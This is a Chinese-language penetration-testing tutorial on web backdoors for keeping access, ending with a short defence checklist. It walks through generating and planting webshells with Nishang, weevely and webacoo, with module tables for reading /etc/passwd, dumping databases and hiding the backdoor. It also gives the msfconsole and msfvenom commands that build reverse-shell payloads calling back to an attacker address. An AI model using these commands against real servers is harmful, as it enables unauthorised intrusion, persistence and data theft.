用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在这里,我们主要讲述权限维持第二种讲述,web后门以及防范。
Web后门
定义: 指上传到Web服务器可访问目录中的脚本文件(如.php
, .aspx
, .jsp
, .asp
),允许攻击者通过HTTP/HTTPS请求在服务器上远程执行操作系统命令。接下来就是讲述几个常见的Web后门,
1)Nishang下的Webshell
简介:Nishang 是一个基于 PowerShell 的渗透测试工具包,其中包含多种 Webshell 变体。这些 Webshell 利用 PowerShell 的强大功能,可在 Windows 系统上执行命令、上传 / 下载文件。
特点:
- 基于 PowerShell,支持高级系统交互。
- 可通过 HTTP/S 通信,隐蔽性较强。
- 支持反向 Shell 和绑定 Shell 模式。
项目下载地址:https://github.com/samratashok/nishang
在Nishang中也存在ASPX的“大马”,该模块在、nishang\Antak-Webshell目录下。使用该模块可以进行编码、执行脚本、上传/下载文件等
我们把他放在目标机的web应用下,浏览器访问即可,如图所示
2)weevely后门
简介:Weevely 是一款针对 PHP 环境的开源 webshell 工具,主要用于渗透测试中生成、管理和控制 PHP 类型的后门,因其隐蔽性强、功能丰富且操作便捷,被广泛用于 Web 渗透场景。
核心特点
-
隐蔽性高
Weevely 生成的 webshell 采用Base64 编码和字符串混淆技术,将核心逻辑隐藏在看似正常的 PHP 代码中(例如伪装成普通函数调用),传统基于特征码的查杀工具(如简单关键词匹配)难以识别。 -
功能模块化
集成了丰富的渗透模块,支持文件操作、系统命令执行、数据库交互、端口转发、持久化控制等,满足从初始入侵到深度控制的全流程需求。 -
交互便捷
提供命令行客户端,生成 webshell 后可通过客户端直接连接目标,以 “交互式 shell” 的形式操作,类似 SSH 会话,降低操作复杂度。
这个工具kali自带
生成 webshell
用户通过 Weevely 的命令行工具,指定一个密码(用于后续连接验证)和输出文件名,生成一个 PHP 格式的 webshell 文件。例如:
weevely generate 123456 /tmp/backdoor.php # 生成密码为123456的webshell
生成的backdoor.php
包含加密的核心逻辑,仅当攻击者使用正确密码连接时,才能激活并执行命令。
上传文件
上传目标服务器,
然后再连接,访问
weevely http://ip/bachdoor.php 密码
成功连接,接下来就是通过一系列的命令进行操作了
这里我详细介绍一下weevely的模块功能,操作不再展示
审计类模块(找漏洞 / 敏感信息)
模块名 | 功能说明 |
---|---|
:audit_phpconf | 检查 PHP 配置(如allow_url_fopen 、disable_functions ),找安全隐患 |
:audit_suidsgid | 查找带 SUID/SGID 权限 的文件(这类文件可能被用来提权,如/bin/su ) |
:audit_filesystem | 审计文件系统权限(如敏感文件/etc/shadow 是否被 Web 用户可读) |
:audit_etcpasswd | 读取/etc/passwd (收集系统用户信息,辅助后续攻击) |
Shell 执行模块(远程命令 / 代码)
模块名 | 功能说明 |
---|---|
:shell_php | 直接执行 PHP 代码(如 :shell_php "echo phpinfo();" ) |
:shell_sh | 执行系统 Shell 命令(和shell 命令类似,模块化封装) |
:shell_su | 尝试用 su 命令提权(需知道目标用户密码,如尝试su root ) |
系统信息收集
模块名 | 功能说明 |
---|---|
:system_extensions | 收集 PHP 扩展(如是否开启mysqli 、exec 等危险模块)和 Web 服务器信息 |
:system_info | 抓取系统核心信息(内核版本、OS 类型、Web 服务版本、PHP 版本等) |
后门模块(持久化 / 反向连接)
模块名 | 功能说明 |
---|---|
:backdoor_reversetcp | 启动 反向 TCP Shell(目标主动连攻击者 IP + 端口,绕过防火墙出站限制) |
:backdoor_tcp | 在目标机器 绑定 TCP 端口(攻击者主动连该端口获取 Shell,需目标端口可访问) |
文件操作模块(上传 / 下载 / 编辑)
模块名 | 功能说明 |
---|---|
:file_upload | 上传本地文件到目标服务器 |
:file_upload2web | 自动上传文件到 Web 可访问目录(如/var/www/html ,方便直接访问) |
:file_read | 读取远程文件内容(如/etc/passwd 、数据库配置文件) |
:file_download | 下载远程文件到本地(Weevely 客户端所在机器) |
:file_rm | 删除远程文件 |
:file_edit | 本地编辑器修改远程文件(保存后自动上传,方便改配置) |
:file_gzip/:file_tar | 压缩 / 解压文件(批量下载时缩小体积,或隐藏恶意文件) |
数据库模块(脱库 / 提权)
模块名 | 功能说明 |
---|---|
:bruteforce_sql | 暴力破解 SQL 数据库(尝试常用账号密码,支持 MySQL、PostgreSQL 等) |
:sql_dump | 导出数据库(类似mysqldump ,批量下载表数据) |
:sql_console | 进入 SQL 交互控制台(直接执行查询,如SHOW DATABASES; ) |
网络模块(跳板 / 扫描)
模块名 | 功能说明 |
---|---|
:net_php_proxy | 在目标安装 PHP 代理(将目标当跳板,转发攻击者的 HTTP 请求) |
:net_curl | 模拟curl 发送 HTTP 请求(测试目标网络访问能力,或访问内网服务) |
:net_scan | TCP 端口扫描(探测目标或内网主机的开放端口,找可利用服务) |
3)webacoo后门
简介:Webacoo(全称 Web Backdoor Cookie)是一款 隐蔽型 Web 后门工具,专为渗透测试的后渗透阶段设计,核心特点是利用 HTTP Cookie 传输指令和数据,躲避传统安全设备检测。
- 作用:在已攻陷的 Web 服务器中植入后门,实现远程命令执行、文件操作、权限维持。
- 隐蔽性原理:
命令和结果通过 HTTP Cookie 传输,而非普通 HTTP 请求体。关键 Cookie 参数:cm
:Base64 编码的 Shell 命令(如cm=YmFzZTY0X2VuY29kZQ==
对应base64_encode
)。cn
:存储命令结果的 Cookie 名称(如服务器将结果存到result
Cookie)。cp
:结果的分隔符(避免与正常 Cookie 混淆)。
Webacoo 有 两种核心模式,通过命令行参数切换:
1. 生成模式(-g
):制作 PHP 后门
webacoo -g -o /path/backdoor.php
- 作用:生成一个 PHP 后门文件(如
backdoor.php
),上传到目标服务器的Web 可访问目录(如/var/www/html
)。
2. 终端模式(-t
):连接后门
webacoo -t -u http://目标IP/backdoor.php
- 作用:连接已上传的后门,进入交互终端,执行系统命令(如
ls
、whoami
)。
此工具kali自带,无需安装
生成后门
放在目标服务器,浏览器访问一下
进行连接
成功连接,连接之后是一个仿真终端,能够通过执行命令获得信息。
也能够通过使用命令load查找扩展模块
这里解释一下模块的作用,操作不展示
数据库模块(MySQL/PostgreSQL)
1. MySQL 命令行模块(mysql-cli)
mysql-cli <IP(:端口)> <用户名> <密码>
示例:连接本地 MySQL,用户名为root
,密码为123456
webacoo$ mysql-cli 127.0.0.1 root 123456
连接后:可直接执行 SQL 命令(无需退出 Webacoo)
> SHOW DATABASES;
> USE wordpress;
> SELECT * FROM wp_users;
2. PostgreSQL 命令行模块(psql-cli)
psql-cli <IP(:端口)> <数据库名> <用户名> <密码>
示例:连接本地 PostgreSQL 的testdb
数据库
webacoo$ psql-cli 127.0.0.1:5432 testdb postgres 123456
连接后:执行 SQL 命令
> \dt # 查看表
> SELECT * FROM users;
文件操作模块(上传 / 下载)
1. 上传文件(upload)
upload <本地文件路径> <远程目标目录>
示例:上传本地的shell.php
到目标服务器的/var/www/html
目录
webacoo$ upload /home/user/shell.php /var/www/html/
2. 下载文件(download)
download <远程文件路径>
示例:下载目标服务器的/etc/passwd
文件到本地
webacoo$ download /etc/passwd
文件会保存到:Webacoo 工具所在目录(默认不指定本地路径)
隐蔽性增强模块(stealth)
功能:通过修改 PHP 后门代码,进一步隐藏后门特征
stealth <网站根目录>
示例:将后门伪装成网站正常文件(假设网站根目录为/var/www/html
)
webacoo$ stealth /var/www/html
与weevely相比
特性 | Webacoo | Weevely |
---|---|---|
通信方式 | HTTP Cookie | HTTP Headers(更隐蔽) |
权限保护 | 无密码 | 支持密码验证 |
功能丰富度 | 基础命令 / 文件操作 | 模块化(审计、提权、隧道) |
适用场景 | 临时控制、快速渗透 | 深度后渗透、长期维持 |
4)ASPX meterpreter后门
这个后门是msfconsole中名为shell_reverse_tcp的payload,shell_reverse_tcp
是最基础且常用的反向 TCP Shell Payload,用于在目标系统上建立一个反向连接,使攻击者能够获得远程命令执行权限,利用这个模块可以创建具有meterpreter的各种版本shellcode。
首先先使用下列代码并且调用该模块,并且设置相关参数
use windows/shell_reverse_tcp
info
set lhost ip
set lport 55555
save
然后输入generate -h查看命令
生成webshell
generate -f aspx lhost=ip地址
将生成内容保存为aspx.aspx文件,然后上传到目标服务器web目录下,在浏览器进行访问,然后使用监听连接即可,这里不再展示。
进行访问
进行连接
5)PHP meterpreter后门
简介:PHP Meterpreter 是 Metasploit 框架 中针对 PHP 环境 设计的 payload,可生成具备 Meterpreter 交互功能 的 Webshell,支持系统命令执行、文件操作、权限提升等后渗透操作,是 Web 渗透中隐蔽且强大的工具。
优势 | 细节说明 | 局限 |
---|---|---|
功能集成度高 | 继承 Meterpreter 的交互性,支持 Metasploit 后续模块(如提权、内网穿透) | 依赖 PHP 环境,需目标开启执行权限 |
隐蔽性较好 | 代码默认经过混淆,通信可加密(如reverse_https payload) | 易被 WAF 检测特征(需额外混淆) |
跨平台兼容 | 支持 Linux/Windows 的 PHP 服务器 | 需目标disable_functions 未禁用系统命令函数(如exec ) |
直接通过msfvenom制作PHP Meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php
然后跟上面ASPX差不多,将生成的文件放在目标服务器的web目录下,然后开启监听,访问,反弹连接即可,操作这里不再展示。
web后门防范
- 代码安全:禁用 eval、system 等危险函数;严格验证用户输入(过滤特殊字符、限制长度);上传文件需校验内容(而非仅扩展名)。
- 组件管控:使用官方 / 可信源的框架 / 插件;定期更新修复漏洞;删除无用组件。
- 服务器加固:web 进程权限设为最低(非 root);限制文件目录权限(如上传目录禁止执行脚本);关闭不必要的服务 / 模块(如 cgi、SSI)。
- 监控审计:日志记录访问 / 操作行为(重点查异常文件访问、高频 POST 请求);定期校验文件哈希(检测篡改)。
- 访问控制:管理员账户用强密码 + 定期更换;限制管理后台访问 IP;启用二次验证。